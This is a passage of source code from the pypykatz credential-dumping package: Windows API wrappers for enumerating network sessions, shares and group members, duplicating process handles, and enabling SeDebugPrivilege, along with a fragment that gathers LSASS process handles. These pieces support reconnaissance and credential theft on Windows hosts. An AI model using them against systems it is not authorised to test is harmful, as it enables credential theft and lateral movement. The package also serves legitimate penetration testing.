logger.debug('Failed to obtain the path of the process! PID: %s' % pid) continue return lsass_handles ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/netapi32.py0000664000175000017500000002705114543266630025637 0ustar00webdevwebdevimport enum import datetime import ctypes from ctypes import wintypes from pypykatz.commons.winapi.local.function_defs.defines import * from pypykatz.commons.winapi.local.function_defs.netapi32_high import * """ D: NetShareEnum NetWkstaUserEnum D: NetSessionEnum D: NetLocalGroupGetMembers DsGetSiteName DsEnumerateDomainTrusts D: NetApiBufferFree """ LMSTR = LPWSTR MAX_PREFERRED_LENGTH = -1 # http://qaru.site/questions/901246/howto-determine-file-owner-on-windows-using-python-without-pywin32 class SID_NAME_USE(wintypes.DWORD): _sid_types = dict(enumerate(''' User Group Domain Alias WellKnownGroup DeletedAccount Invalid Unknown Computer Label'''.split(), 1)) def __init__(self, value=None): if value is not None: if value not in self.sid_types: raise ValueError('invalid SID type') wintypes.DWORD.__init__(value) def __str__(self): if self.value not in self._sid_types: raise ValueError('invalid SID type for value: %s' % self.value) return self._sid_types[self.value] def __repr__(self): return 'SID_NAME_USE(%s)' % self.value PSID_NAME_USE = ctypes.POINTER(SID_NAME_USE) PSID_NAME_USE = ctypes.POINTER(SID_NAME_USE) class FILE_INFO_2(Structure): _fields_ = [ ('fid',DWORD), ] PFILE_INFO_2 = POINTER(FILE_INFO_2) class FILE_INFO_3(Structure): _fields_ = [ ('fid',DWORD), ('permissions',DWORD), ('num_locks',DWORD), ('pathname',LMSTR), ('username',LMSTR), ] PFILE_INFO_3 = POINTER(FILE_INFO_3) class SHARE_INFO_0(Structure): _fields_ = [ ('netname',LMSTR), ] PSHARE_INFO_0 = POINTER(SHARE_INFO_0) class SHARE_INFO_1(Structure): _fields_ = [ ('netname',LMSTR), ('type',DWORD ), ('remark',LMSTR ), ] PSHARE_INFO_1 = POINTER(SHARE_INFO_1) class SHARE_INFO_2(Structure): _fields_ = [ ('netname',LMSTR), ('type',DWORD ), ('remark',LMSTR ), ('permissions',DWORD ), ('max_uses',DWORD ), ('current_uses',DWORD ), ('path',LMSTR), ('passwd',LMSTR), ] PSHARE_INFO_2 = POINTER(SHARE_INFO_2) class SHARE_INFO_501(Structure): _fields_ = [ ('netname',LMSTR), ('type',DWORD ), ('remark',LMSTR ), ('flags',DWORD ), ] PSHARE_INFO_501 = POINTER(SHARE_INFO_501) class SHARE_INFO_502(Structure): _fields_ = [ ('netname',LMSTR), ('type',DWORD ), ('remark',LMSTR ), ('permissions',DWORD ), ('max_uses',DWORD ), ('current_uses',DWORD ), ('path',LMSTR), ('passwd',LMSTR), ('reserved',DWORD), ] PSHARE_INFO_502 = POINTER(SHARE_INFO_502) class SHARE_INFO_503(Structure): _fields_ = [ ('netname',LMSTR), ('type',DWORD ), ('remark',LMSTR ), ('permissions',DWORD ), ('max_uses',DWORD ), ('current_uses',DWORD ), ('path',LMSTR), ('passwd',LMSTR), ('servername',LMSTR), ('reserved',DWORD), ] PSHARE_INFO_503 = POINTER(SHARE_INFO_503) class SESSION_INFO_0(Structure): _fields_ = [ ('cname',LMSTR), ] PSESSION_INFO_0 = POINTER(SESSION_INFO_0) class SESSION_INFO_10(Structure): _fields_ = [ ('cname',LMSTR), ('username',LMSTR), ('time',DWORD), ('idle_time',DWORD) ] PSESSION_INFO_10 = POINTER(SESSION_INFO_10) class SESSION_INFO_1(Structure): _fields_ = [ ('cname',LMSTR), ('username',LMSTR), ('num_opens',DWORD), ('time',DWORD), ('idle_time',DWORD), ('user_flags',DWORD), ] PSESSION_INFO_1 = POINTER(SESSION_INFO_1) class SESSION_INFO_2(Structure): _fields_ = [ ('cname',LMSTR), ('username',LMSTR), ('num_opens',DWORD), ('time',DWORD), ('idle_time',DWORD), ('user_flags',DWORD), ('cltype_name',LMSTR), ] PSESSION_INFO_2 = POINTER(SESSION_INFO_2) class SESSION_INFO_502(Structure): _fields_ = [ ('cname',LMSTR), ('username',LMSTR), ('num_opens',DWORD), ('time',DWORD), ('idle_time',DWORD), ('user_flags',DWORD), ('cltype_name',LMSTR), ('transport',LMSTR), ] PSESSION_INFO_502 = POINTER(SESSION_INFO_502) class LOCALGROUP_MEMBERS_INFO_0(Structure): _fields_ = [ ('sid',PSID), ] PLOCALGROUP_MEMBERS_INFO_0 = POINTER(LOCALGROUP_MEMBERS_INFO_0) class LOCALGROUP_MEMBERS_INFO_1(Structure): _fields_ = [ ('sid',PSID), ('sidusage',DWORD), ('name',LMSTR), ] PLOCALGROUP_MEMBERS_INFO_1 = POINTER(LOCALGROUP_MEMBERS_INFO_1) class LOCALGROUP_MEMBERS_INFO_2(Structure): _fields_ = [ ('sid',PSID), ('sidusage',DWORD), ('domainandname',LMSTR), ] PLOCALGROUP_MEMBERS_INFO_2 = POINTER(LOCALGROUP_MEMBERS_INFO_2) class LOCALGROUP_MEMBERS_INFO_3(Structure): _fields_ = [ ('domainandname',LMSTR), ] PLOCALGROUP_MEMBERS_INFO_3 = POINTER(LOCALGROUP_MEMBERS_INFO_3) class NetSessionEnumRes(enum.Enum): ERROR_ACCESS_DENIED = 5 ERROR_INVALID_LEVEL = 124 ERROR_INVALID_PARAMETER = 87 ERROR_NOT_ENOUGH_MEMORY = 8 NERR_ClientNameNotFound = 2312 NERR_InvalidComputer = (2100 + 251) ERROR_FILE_NOT_FOUND = 2 NERR_FileIdNotFound = 2314 NERR_SUCCESS= 0 ERROR_MORE_DATA = 234 # https://docs.microsoft.com/en-us/windows/desktop/api/lmapibuf/nf-lmapibuf-netapibufferfree def NetApiBufferFree(pbuff): _NetApiBufferFree = windll.Netapi32.NetApiBufferFree _NetApiBufferFree.argtypes = [PVOID] _NetApiBufferFree.restype = DWORD _NetApiBufferFree(pbuff) # https://docs.microsoft.com/en-us/windows/desktop/api/lmshare/nf-lmshare-netsessionenum def NetSessionEnum(servername = None, clientname = None, username = None, level = 10): def errc(result, func, arguments): r = NetSessionEnumRes(result) if r == NetSessionEnumRes.NERR_SUCCESS or r == NetSessionEnumRes.ERROR_MORE_DATA: return r raise Exception('NetSessionEnum exception! %s' % r) _NetSessionEnum = windll.Netapi32.NetSessionEnum _NetSessionEnum.argtypes = [LMSTR, LMSTR, LMSTR, DWORD, PVOID, DWORD, LPDWORD ,LPDWORD , LPDWORD ] _NetSessionEnum.restype = DWORD _NetSessionEnum.errcheck = errc buf = PVOID() entriesread = DWORD() totalentries = DWORD() resume_handle = DWORD(0) if servername: servername = LPWSTR(servername) if clientname: clientname = LPWSTR(clientname) if username: username = LPWSTR(username) if level == 0: si_type = SESSION_INFO_0 elif level == 1: si_type = SESSION_INFO_1 elif level == 2: si_type = SESSION_INFO_2 elif level == 10: si_type = SESSION_INFO_10 elif level == 502: si_type = SESSION_INFO_502 else: raise Exception('NetSessionEnum unsupported level %s' % level) first_call = True sessions = [] entries_read_total = 0 while resume_handle.value != 0 or first_call: res = _NetSessionEnum(servername, clientname, username, level, byref(buf), MAX_PREFERRED_LENGTH, byref(entriesread), byref(totalentries), byref(resume_handle)) first_call = False entries_read_total += entriesread.value if entriesread.value > 0: map = ctypes.cast(buf, POINTER(si_type*entriesread.value)) for i in range(entriesread.value): sessions.append(UserSessionInfo.from_session_info(map.contents[i], level)) NetApiBufferFree(buf) if entries_read_total == totalentries.value: break return sessions def NetLocalGroupGetMembers(servername = None, localgroupname = None, level = 2): def errc(result, func, arguments): r = NetSessionEnumRes(result) if r == NetSessionEnumRes.NERR_SUCCESS or r == NetSessionEnumRes.ERROR_MORE_DATA: return r raise Exception('NetSessionEnum exception! %s' % r) _NetLocalGroupGetMembers = windll.Netapi32.NetLocalGroupGetMembers _NetLocalGroupGetMembers.argtypes = [LMSTR, LMSTR, DWORD, PVOID, DWORD, LPDWORD ,LPDWORD , LPDWORD] _NetLocalGroupGetMembers.restype = DWORD _NetLocalGroupGetMembers.errcheck = errc buf = PVOID() entriesread = DWORD() totalentries = DWORD() resume_handle = DWORD(0) if servername: servername = LPWSTR(servername) if localgroupname: localgroupname = LPWSTR(localgroupname) if level == 0: si_type = LOCALGROUP_MEMBERS_INFO_0 elif level == 1: si_type = LOCALGROUP_MEMBERS_INFO_1 elif level == 2: si_type = LOCALGROUP_MEMBERS_INFO_2 elif level == 3: si_type = LOCALGROUP_MEMBERS_INFO_3 else: raise Exception('NetLocalGroupGetMembers unsupported level %s' % level) first_call = True groupinfos = [] entries_read_total = 0 while resume_handle.value != 0 or first_call: res = _NetLocalGroupGetMembers(servername, localgroupname, level, byref(buf), MAX_PREFERRED_LENGTH, byref(entriesread), byref(totalentries), byref(resume_handle)) first_call = False entries_read_total += entriesread.value if entriesread.value > 0: map = ctypes.cast(buf, POINTER(si_type*entriesread.value)) for i in range(entriesread.value): groupinfos.append(LocalGroupInfo.from_struct(map.contents[i], level)) NetApiBufferFree(buf) if entries_read_total == totalentries.value: break return groupinfos def NetShareEnum(servername = None, level = 2): def errc(result, func, arguments): r = NetSessionEnumRes(result) if r == NetSessionEnumRes.NERR_SUCCESS or r == NetSessionEnumRes.ERROR_MORE_DATA: return r raise Exception('NetSessionEnum exception! %s' % r) _NetShareEnum = windll.Netapi32.NetShareEnum _NetShareEnum.argtypes = [LMSTR, DWORD, PVOID, DWORD, LPDWORD ,LPDWORD , LPDWORD] _NetShareEnum.restype = DWORD _NetShareEnum.errcheck = errc buf = PVOID() entriesread = DWORD() totalentries = DWORD() resume_handle = DWORD(0) if servername: servername = LPWSTR(servername) if level == 0: si_type = SHARE_INFO_0 elif level == 1: si_type = SHARE_INFO_1 elif level == 2: si_type = SHARE_INFO_2 elif level == 502: si_type = SHARE_INFO_502 elif level == 503: si_type = SHARE_INFO_503 else: raise Exception('NetShareEnum unsupported level %s' % level) first_call = True shareinfos = [] entries_read_total = 0 while resume_handle.value != 0 or first_call: res = _NetShareEnum(servername, level, byref(buf), MAX_PREFERRED_LENGTH, byref(entriesread), byref(totalentries), byref(resume_handle)) first_call = False entries_read_total += entriesread.value if entriesread.value > 0: map = ctypes.cast(buf, POINTER(si_type*entriesread.value)) for i in range(entriesread.value): shareinfos.append(ShareInfo.from_struct(map.contents[i], level)) NetApiBufferFree(buf) if entries_read_total == totalentries.value: break return shareinfos def NetFileEnum(servername = None, basepath = None, username = None, level = 3): """ Only members of the Administrators or Account Operators local group can successfully execute """ def errc(result, func, arguments): r = NetSessionEnumRes(result) if r == NetSessionEnumRes.NERR_SUCCESS or r == NetSessionEnumRes.ERROR_MORE_DATA: return r raise Exception('NetFileEnum exception! %s' % r) _NetFileEnum = windll.Netapi32.NetFileEnum _NetFileEnum.argtypes = [LMSTR,LMSTR,LMSTR, DWORD, PVOID, DWORD, LPDWORD ,LPDWORD , LPDWORD] _NetFileEnum.restype = DWORD _NetFileEnum.errcheck = errc buf = PVOID() entriesread = DWORD() totalentries = DWORD() resume_handle = DWORD(0) if servername: servername = LPWSTR(servername) if basepath: basepath = LPWSTR(basepath) if username: username = LPWSTR(username) if level == 2: si_type = FILE_INFO_2 elif level == 3: si_type = FILE_INFO_3 else: raise Exception('NetFileEnum unsupported level %s' % level) first_call = True shareinfos = [] entries_read_total = 0 while resume_handle.value != 0 or first_call: res = _NetFileEnum(servername, basepath, username, level, byref(buf), MAX_PREFERRED_LENGTH, byref(entriesread), byref(totalentries), byref(resume_handle)) first_call = False entries_read_total += entriesread.value if entriesread.value > 0: map = ctypes.cast(buf, POINTER(si_type*entriesread.value)) for i in range(entriesread.value): shareinfos.append(ShareInfo.from_struct(map.contents[i], level)) NetApiBufferFree(buf) if entries_read_total == totalentries.value: break return shareinfos././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/netapi32_high.py0000664000175000017500000001013214543266630026626 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.commons.winapi.local.sid import SID class FileInfo: def __init__(self): self.fid = None self.permissions = None self.num_locks = None self.pathname = None self.username = None @staticmethod def from_struct(si, level): sess = FileInfo() sess.fid = si.fid if level == 2: return sess sess.permissions = si.permissions sess.num_locks = si.num_locks sess.pathname = si.pathname sess.username = si.username return sess def to_dict(self): return { 'fid' : str(self.netname), 'permissions' : str(self.permissions), 'num_locks' : str(self.num_locks), 'pathname' : str(self.pathname), 'username' : str(self.username), } def __str__(self): t = '==ShareInfo==\r\n' t+= 'netname : %s\r\n' % self.netname if self.path: t+= 'path : %s\r\n' % self.path if self.remark: t+= 'remark : %s\r\n' % self.remark return t class ShareInfo: def __init__(self): self.flags = None self.netname = None self.type = None self.remark = None self.permissions = None self.max_uses = None self.current_uses = None self.path = None self.passwd = None self.servername = None @staticmethod def from_struct(si, level): sess = ShareInfo() sess.netname = si.netname if level == 0: return sess sess.type = si.type sess.remark = si.remark if level == 1: return sess if level == 501: sess.flags = si.flags return sess sess.permissions = si.permissions sess.max_uses = si.max_uses sess.current_uses = si.current_uses sess.path = si.path sess.passwd = si.passwd if level != 503: return sess sess.servername = si.servername return sess def to_dict(self): return { 'netname' : str(self.netname), 'type' : str(self.type), 'remark' : str(self.remark), 'flags' : str(self.flags), 'servername' : str(self.servername), } def __str__(self): t = '==ShareInfo==\r\n' t+= 'netname : %s\r\n' % self.netname if self.path: t+= 'path : %s\r\n' % self.path if self.remark: t+= 'remark : %s\r\n' % self.remark return t class UserSessionInfo: def __init__(self): self.computername = None self.username = None self.time = None self.idle_time = None @staticmethod def from_session_info(si, level): sess = UserSessionInfo() sess.computername = si.cname.replace('\\\\','') if level == 0: return sess sess.computername = si.cname sess.username = si.username sess.time = si.time sess.idle_time = si.idle_time return sess def to_dict(self): return { 'computername' : str(self.computername), 'username' : str(self.username), 'time' : str(self.time), 'idle_time' : str(self.idle_time), } def __str__(self): t = '==Session==\r\n' t+= 'computername : %s\r\n' % self.computername t+= 'username : %s\r\n' % self.username t+= 'time : %s\r\n' % self.time t+= 'idle_time : %s\r\n' % self.idle_time return t class LocalGroupInfo: def __init__(self): self.sid = None self.sidusage = None self.domain = None self.username = None def to_dict(self): return { 'sid' : str(self.sid), 'sidusage' : str(self.sidusage), 'domain' : str(self.domain), 'username' : str(self.username), } def from_struct(lg, level): lgi = LocalGroupInfo() if level == 0: lgi.sid = SID.from_address(lg.sid) return lgi elif level == 1: lgi.sid = SID.from_address(lg.sid) lgi.sidusage = lg.sidusage lgi.username = lg.name return lgi elif level == 2: lgi.sid = SID.from_address(lg.sid) lgi.sidusage = lg.sidusage lgi.domain, lgi.username = lg.domainandname.split('\\') return lgi elif level == 3: lgi.sid = SID.from_address(lg.sid) lgi.sidusage = lg.sidusage lgi.domain, lgi.username = lg.domainandname.split('\\') return lgi else: raise Exception('Unknown struct of type %s passed to LocalGroupInfo' % (type(lg))) def __str__(self): t = '==LocalGroupInfo==\r\n' t+= 'sid : %s\r\n' % self.sid t+= 'sidusage : %s\r\n' % self.sidusage t+= 'domain : %s\r\n' % self.domain t+= 'username : %s\r\n' % self.username return t././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/ntdll.py0000664000175000017500000001402214543266630025321 0ustar00webdevwebdev import ctypes from ctypes import windll from ctypes.wintypes import ULONG, BOOL,LONG from pypykatz.commons.winapi.local.function_defs.defines import * SystemHandleInformation = 16 ObjectBasicInformation = 0 ObjectNameInformation = 1 ObjectTypeInformation = 2 POOL_TYPE = ctypes.c_int NonPagedPool = 1 PagedPool = 2 NonPagedPoolMustSucceed = 3 DontUseThisType = 4 NonPagedPoolCacheAligned = 5 PagedPoolCacheAligned = 6 NonPagedPoolCacheAlignedMustS = 7 # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping class GENERIC_MAPPING(Structure): _fields_ = [ ("GenericRead", ACCESS_MASK ), ("GenericWrite", ACCESS_MASK ), ("GenericExecute", ACCESS_MASK ), ("GenericAll", ACCESS_MASK ), ] PGENERIC_MAPPING = POINTER(GENERIC_MAPPING) class SYSTEM_HANDLE(Structure): _fields_ = [ ("ProcessId", ULONG), ("ObjectTypeNumber", BYTE), ("Flags", BYTE), ("Handle", USHORT), ("Object", PVOID), ("GrantedAccess", ACCESS_MASK), ] PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE) #class SYSTEM_HANDLE_INFORMATION(Structure): # _fields_ = [ # ("HandleCount", ULONG), # ("Handles", SYSTEM_HANDLE), #not just one handle # ] # #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION) class OBJECT_TYPE_INFORMATION(Structure): _fields_ = [ ("Name", UNICODE_STRING), ("TotalNumberOfObjects", ULONG), ("TotalNumberOfHandles", ULONG), ("TotalPagedPoolUsage", ULONG), ("TotalNonPagedPoolUsage", ULONG), ("TotalNamePoolUsage", ULONG), ("TotalHandleTableUsage", ULONG), ("HighWaterNumberOfObjects", ULONG), ("HighWaterNumberOfHandles", ULONG), ("HighWaterPagedPoolUsage", ULONG), ("HighWaterNonPagedPoolUsage", ULONG), ("HighWaterNamePoolUsage", ULONG), ("HighWaterHandleTableUsage", ULONG), ("GenericMapping", GENERIC_MAPPING), ("ValidAccess", ULONG), ("SecurityRequired", BOOLEAN), ("MaintainHandleCount", BOOLEAN), ("MaintainTypeList", USHORT), ("PoolType", POOL_TYPE), ("PagedPoolUsage", ULONG), ("NonPagedPoolUsage", ULONG), ] POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION) # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html # BOOL WINAPI RtlAdjustPrivilege( # __in ULONG Privilege, # __in BOOLEAN Enable, # __in BOOLEAN CurrentThread, # __in PBOOLEAN Enabled, # ); def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False): """ privilige_id: int """ _RtlAdjustPrivilege = windll.ntdll.RtlAdjustPrivilege _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] _RtlAdjustPrivilege.restype = NTSTATUS CurrentThread = thread_or_process #False = enable for whole process, True = current thread only Enabled = BOOL() status = _RtlAdjustPrivilege(privilige_id, enable, CurrentThread, ctypes.byref(Enabled)) if status != 0: raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status) return Enabled.value # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation def NtQuerySystemInformation(info_type): _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG] _NtQuerySystemInformation.restype = ULONG handleinfos = {} if info_type != 16: raise Exception('info_type only the value 16 is supported!') size = DWORD(0x10) data = ctypes.create_string_buffer(size.value) while True: #_NtQuerySystemInformation returns an incorrect expected size... size = DWORD(size.value*2) data = ctypes.create_string_buffer(size.value) status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) if status == 0: break if status != 0xC0000004: raise Exception('NtQuerySystemInformation returned %s' % hex(status)) status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) data_bytes = bytearray(data.raw[:size.value]) hc = ULONG.from_buffer(data_bytes) class SYSTEM_HANDLE_INFORMATION(Structure): _fields_ = [ ("HandleCount", ULONG), ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle ] syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes) for i in range(syshandleinfo.HandleCount): if not syshandleinfo.Handles[i].ProcessId in handleinfos: handleinfos[syshandleinfo.Handles[i].ProcessId] = [] handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i]) return handleinfos def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0): """ privilige_id: int """ _NtDuplicateObject = windll.ntdll.NtDuplicateObject _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG] _NtDuplicateObject.restype = ULONG oHandle = HANDLE() status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0) if status != 0: raise Exception('Failed call to NtDuplicateObject! Status: %s' % status) return oHandle def NtQueryObject(ObjectHandle, ObjectInformationClass): """ privilige_id: int """ _NtQueryObject = windll.ntdll.NtQueryObject _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG] _NtQueryObject.restype = ULONG #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]: if ObjectInformationClass != ObjectTypeInformation: raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass ) size = ULONG(0x10) oinfo_data = ctypes.create_string_buffer(size.value) while True: oinfo_data = ctypes.create_string_buffer(size.value) status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size)) if status == 0xc0000004: continue if status != 0: raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status)) break if ObjectInformationClass == ObjectNameInformation: raise NotImplementedError('TODO: implement me when needed!') elif ObjectInformationClass == ObjectTypeInformation: oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value])) return oinfo ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/privileges.py0000664000175000017500000000266314543266630026365 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import ctypes from ctypes import windll from ctypes.wintypes import ULONG, BOOL,LONG from .privileges_types import * STATUS_SUCCESS = 0 NTSTATUS = LONG POINTER = ctypes.POINTER def NtError(status): """ Converts NTSTATUS codes into WinError codes """ err = windll.ntdll.RtlNtStatusToDosError(status) return ctypes.WinError(err) # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html # BOOL WINAPI RtlAdjustPrivilege( # __in ULONG Privilege, # __in BOOLEAN Enable, # __in BOOLEAN CurrentThread, # __in PBOOLEAN Enabled, # ); def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False): """ privilige_id: int """ _RtlAdjustPrivilege = windll.ntdll.RtlAdjustPrivilege _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] _RtlAdjustPrivilege.restype = NTSTATUS CurrentThread = thread_or_process #enable for whole process Enabled = BOOL() status = _RtlAdjustPrivilege(privilige_id, enable, CurrentThread, ctypes.byref(Enabled)) if status != STATUS_SUCCESS: raise Exception(NtError(status)) return True def enable_debug_privilege(): """ Enables the SE_DEBUG privilege for the currently running process, if the process has SE_DEBUG privilege. (You'll need to be admin most probably) """ RtlAdjustPrivilege(PrivilegeValues.SE_DEBUG.value) if __name__ == '__main__': enable_debug_privilege()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/privileges_types.py0000664000175000017500000001766514543266630027621 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import enum class PrivilegeValues(enum.Enum): SE_CREATE_TOKEN = 2 SE_ASSIGNPRIMARYTOKEN = 3 SE_LOCK_MEMORY=4 SE_INCREASE_QUOTA=5 SE_UNSOLICITED_INPUT=6 SE_TCB=7 SE_SECURITY=8 SE_TAKE_OWNERSHIP=9 SE_LOAD_DRIVER=10 SE_SYSTEM_PROFILE=11 SE_SYSTEMTIME=12 SE_PROF_SINGLE_PROCESS=13 SE_INC_BASE_PRIORITY=14 SE_CREATE_PAGEFILE=15 SE_CREATE_PERMANENT=16 SE_BACKUP=17 SE_RESTORE=18 SE_SHUTDOWN=19 SE_DEBUG=20 SE_AUDIT=21 SE_SYSTEM_ENVIRONMENT=22 SE_CHANGE_NOTIFY=23 SE_REMOTE_SHUTDOWN=24 SE_UNDOCK=25 SE_SYNC_AGENT=26 SE_ENABLE_DELEGATION=27 SE_MANAGE_VOLUME=28 SE_IMPERSONATE=29 SE_CREATE_GLOBAL=30 SE_TRUSTED_CREDMAN_ACCESS=31 SE_RELABEL=32 SE_INC_WORKING_SET=33 SE_TIME_ZONE=34 SE_CREATE_SYMBOLIC_LINK=35 class Privileges(enum.Enum): SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" #Required to assign the primary token of a process. #User Right: Replace a process-level token. SE_AUDIT_NAME = "SeAuditPrivilege" #Required to generate audit-log entries. Give this privilege to secure servers. #User Right: Generate security audits. SE_BACKUP_NAME = "SeBackupPrivilege" #Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" #Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It is enabled by default for all users. SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" #Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for administrators, services, and the local system account. #User Right: Create global objects. SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" # Required to create a paging file. #User Right: Create a pagefile. SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" #Required to create a permanent object. #User Right: Create permanent shared objects. SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" #Required to create a symbolic link. #User Right: Create symbolic links. SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" #Required to create a primary token. #User Right: Create a token object. #You cannot add this privilege to a user account with the "Create a token object" policy. Additionally, you cannot add this privilege to an owned process using Windows APIs. #Windows Server 2003 and Windows XP with SP1 and earlier: Windows APIs can add this privilege to an owned process. SE_DEBUG_NAME = "SeDebugPrivilege" #Required to debug and adjust the memory of a process owned by another account. #User Right: Debug programs. SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" #Required to mark user and computer accounts as trusted for delegation. #User Right: Enable computer and user accounts to be trusted for delegation. SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" #Required to impersonate. #User Right: Impersonate a client after authentication. SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" #Required to increase the base priority of a process. #User Right: Increase scheduling priority. SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" #Required to increase the quota assigned to a process. #User Right: Adjust memory quotas for a process. SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" #Required to allocate more memory for applications that run in the context of users. #User Right: Increase a process working set. SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" #Required to load or unload a device driver. #User Right: Load and unload device drivers. SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" #Required to lock physical pages in memory. #User Right: Lock pages in memory. SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" #Required to create a computer account. #User Right: Add workstations to domain. SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" #Required to enable volume management privileges. #User Right: Manage the files on a volume. SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" #Required to gather profiling information for a single process. #User Right: Profile single process. SE_RELABEL_NAME = "SeRelabelPrivilege" #Required to modify the mandatory integrity level of an object. #User Right: Modify an object label. SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"# Required to shut down a system using a network request. #User Right: Force shutdown from a remote system. SE_RESTORE_NAME = "SeRestorePrivilege" #Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. This privilege is required by the RegLoadKey function. The following access rights are granted if this privilege is held: SE_SECURITY_NAME = "SeSecurityPrivilege" #Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator. #User Right: Manage auditing and security log. SE_SHUTDOWN_NAME = "SeShutdownPrivilege" #Required to shut down a local system. #User Right: Shut down the system. SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" #Required for a domain controller to use the Lightweight Directory Access Protocol directory synchronization services. This privilege enables the holder to read all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and LocalSystem accounts on domain controllers. #User Right: Synchronize directory service data. SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" #Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. #User Right: Modify firmware environment values. SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" #Required to gather profiling information for the entire system. #User Right: Profile system performance. SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" #Required to modify the system time. #User Right: Change the system time. SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" #Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those values that the holder may legitimately assign as the owner of an object. #User Right: Take ownership of files or other objects. SE_TCB_NAME = "SeTcbPrivilege" #This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. #User Right: Act as part of the operating system. SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" #Required to adjust the time zone associated with the computer's internal clock. #User Right: Change the time zone. SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"#Required to access Credential Manager as a trusted caller. #User Right: Access Credential Manager as a trusted caller. SE_UNDOCK_NAME = "SeUndockPrivilege" #Required to undock a laptop. #User Right: Remove computer from docking station. SE_UNSOLICITED_INPUT_NAME = 